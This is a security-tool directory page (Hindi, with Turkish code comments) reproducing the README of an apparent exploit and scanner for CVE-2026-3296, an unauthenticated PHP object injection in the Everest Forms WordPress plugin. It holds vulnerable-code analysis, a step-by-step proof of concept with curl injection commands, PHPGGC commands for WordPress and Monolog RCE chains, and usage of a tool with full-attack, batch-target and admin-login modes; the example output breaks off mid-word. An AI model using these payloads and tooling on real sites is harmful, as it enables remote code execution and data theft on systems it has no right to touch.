Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-3296 — CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 गंभीर, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है। | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-3296
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 गंभीर, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-3296

CVE-2026-3296, Everest Forms WordPress प्लगइन में एक CVSS 9.8 क्रिटिकल, बिना प्रमाणीकरण वाली PHP Object Injection भेद्यता है।

CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

प्लगइन: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder प्लगइन स्लग: everest-forms CVE ID: CVE-2026-3296 CVSS स्कोर: 9.8 (क्रिटिकल) CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H भेद्यता प्रकार: बिना प्रमाणीकरण वाला PHP Object Injection → RCE प्रभावित संस्करण: <= 3.4.3 पैच किया गया संस्करण: 3.4.4 प्रकाशन तिथि: 7 अप्रैल 2026 शोधकर्ता: 0xsabre — Mobikwik / Wordfence


📌 भेद्यता के बारे में

Everest Forms प्लगइन, फ़ॉर्म एंट्री मेटाडेटा को admin पैनल में प्रदर्शित करते समय PHP के native unserialize() फ़ंक्शन को allowed_classes पैरामीटर के बिना कॉल करता है।

एक बिना प्रमाणीकरण वाला हमलावर, किसी भी public फ़ॉर्म फ़ील्ड में serialized PHP object payload डालकर उसे डेटाबेस में सहेज सकता है। Admin पैनल से entry देखे जाने पर unserialize() ट्रिगर होता है और वातावरण में मौजूद कोई भी POP gadget chain चल जाती है।


🔍 भेद्यता सारांश


⚙️ तकनीकी विश्लेषण

दो-चरणीय हमला मॉडल

root@kitploit:~
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)

चरण 1 — इंजेक्शन: Payload भंडारण

फ़ॉर्म सबमिशन हुक (class-evf-form-task.php, line 75)

root@kitploit:~
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Sanitization अपर्याप्त क्यों है (evf-core-functions.php, line 4754)

root@kitploit:~
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

यह payload sanitize_text_field() के बाद पूरी तरह संरक्षित रहता है:

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

अतिरिक्त बग — समय से पहले Return (line 4764)

root@kitploit:~
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

return $entry; स्टेटमेंट foreach लूप के अंदर है → केवल पहला फ़ील्ड sanitize किया जाता है, बाकी फ़ील्ड कच्चे (raw) रहते हैं।

डेटाबेस में लेखन (class-evf-form-task.php, line 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

चरण 2 — ट्रिगर: असुरक्षित Deserialization

भेद्य कोड (html-admin-page-entries-view.php, line 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

सुरक्षित Wrapper मौजूद है लेकिन उपयोग नहीं किया गया (evf-core-functions.php, line 5594)

root@kitploit:~
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Nonce सुरक्षा क्यों प्रदान नहीं करता?

root@kitploit:~
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce CSRF सुरक्षा प्रदान करता है, प्रमाणीकरण नहीं। हमलावर फ़ॉर्म पेज को GET के साथ खोलकर nonce पढ़ता है, फिर POST के साथ payload भेजता है।


🔴 पूर्ण हमला श्रृंखला

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (मैनुअल)

⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।

पूर्वापेक्षाएँ:

  • Everest Forms <= 3.4.3 स्थापित और सक्रिय है
  • Public रूप से सुलभ फ़ॉर्म पेज
  • Admin पैनल तक पहुंच (ट्रिगर के लिए)

चरण 1 — Form ID और Nonce प्राप्त करें

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

चरण 2 — Benign टेस्ट Payload बनाएं

root@kitploit:~
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

वास्तविक वातावरण के लिए PHPGGC के साथ POP chain उत्पन्न करें:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

चरण 3 — Payload इंजेक्ट करें

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

अपेक्षित: फ़ॉर्म सफलता संदेश या रीडायरेक्ट।


चरण 4 — डेटाबेस में सत्यापित करें (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# O:8:"stdClass":2:{...} satırı görünmeli

चरण 5 — Admin के रूप में ट्रिगर करें

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

पेज लोड होने पर unserialize() चलता है।


चरण 6 — Gadget Chain सत्यापन (टेस्ट वातावरण)

root@kitploit:~
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ स्वचालित स्कैनर

स्थापना

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 उपयोग

भेद्यता का पता लगाना (Benign Payload)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

केवल इंजेक्शन (चरण 1)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

पूर्ण हमला (चरण 1 + चरण 2)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

मैनुअल Form ID + कस्टम Payload

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

OOB Callback के साथ पहचान (Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

बैच स्कैनिंग

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

Proxy के साथ (Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ पैरामीटर

मोड

मोडविवरण
scanBenign payload इंजेक्ट करें — भेद्यता का पता लगाना
injectकेवल चरण 1 — payload संग्रहीत करें

सामान्य पैरामीटर

फ़ॉर्म पैरामीटर

Payload विकल्प

Admin क्रेडेंशियल्स

पैरामीटरविवरण
--admin-userAdmin उपयोगकर्ता नाम
--admin-passAdmin पासवर्ड

💀 Payload प्रकार

💡 PHPGGC के साथ वास्तविक Chain उत्पन्न करना:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Tüm mevcut chain'leri listele
phpggc -l

📊 स्कैनर आउटपुट स्थितियाँ


🖥️ उदाहरण स्कैनर आउटपुट

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser
टूल डाउनलोड करें
फ़ील्डमान
CVE IDCVE-2026-3296
CVSS9.8 क्रिटिकल
प्रकारPHP Object Injection (Deserialization of Untrusted Data)
प्रभावित संस्करण<= 3.4.3
पैच किया गया संस्करण3.4.4
प्रमाणीकरणआवश्यक नहीं (इंजेक्शन), Admin (ट्रिगर)
CWECWE-502: Deserialization of Untrusted Data
triggerकेवल चरण 2 — admin लॉगिन से ट्रिगर करें
fullचरण 1 + चरण 2 — पूर्ण हमला
पैरामीटरसंक्षिप्तविवरणडिफ़ॉल्ट
--url-uएकल लक्ष्य URL—
--list-lलक्ष्य सूची फ़ाइल—
--threads-tथ्रेड संख्या5
--output-oआउटपुट फ़ाइलpoi_results.txt
--proxy—Proxy URL—
--force—प्लगइन पहचान विफल होने पर भी जारी रखेंFalse
पैरामीटरविवरणडिफ़ॉल्ट
--form-idCF7 form IDस्वचालित पहचान
--form-urlफ़ॉर्म पेज URLस्वचालित पहचान
--field-nameलक्ष्य फ़ील्ड नामस्वचालित पहचान
--nonceफ़ॉर्म nonce मानस्वचालित निष्कर्षण
--entry-idEntry ID (trigger मोड)स्वचालित पहचान
पैरामीटरविवरणडिफ़ॉल्ट
--payload-typePayload प्रकारprobe
--custom-payloadकस्टम serialized string—
--cmdRCE कमांडid
--callback-urlOOB callback URL—
प्रकारविवरणउपयोग
probeBenign stdClass — कोई दुष्प्रभाव नहींभेद्यता का पता लगाना
file_writeफ़ाइल लिखें (TestGadget)टेस्ट वातावरण सत्यापन
ssrfHTTP callback — OOB पहचानBurp Collaborator
wp_rceWordPress POP chain placeholderPHPGGC के साथ उत्पन्न करें
yoast_rceYoast SEO POP chain placeholderPHPGGC के साथ उत्पन्न करें
monolog_rceMonolog POP chain placeholderPHPGGC के साथ उत्पन्न करें
स्थितिविवरण
★ PWNEDDeserialization ट्रिगर हुआ + payload चला
★ VULNPayload इंजेक्ट किया गया — भेद्यता की पुष्टि हुई
~ TRIGGEREDEntry देखी गई — gadget chain को मैनुअल सत्यापित करें
- INJ_FAILइंजेक्शन विफल (पैच किया हुआ / कोई फ़ॉर्म नहीं)
~ NO_FORMEverest Forms फ़ॉर्म नहीं मिला
- NO_PLUGINप्लगइन स्थापित नहीं है
~ NO_CREDSAdmin क्रेडेंशियल अनुपलब्ध हैं
- ADM_FAILAdmin लॉगिन विफल
~ UNREACHलक्ष्य तक नहीं पहुंचा जा सकता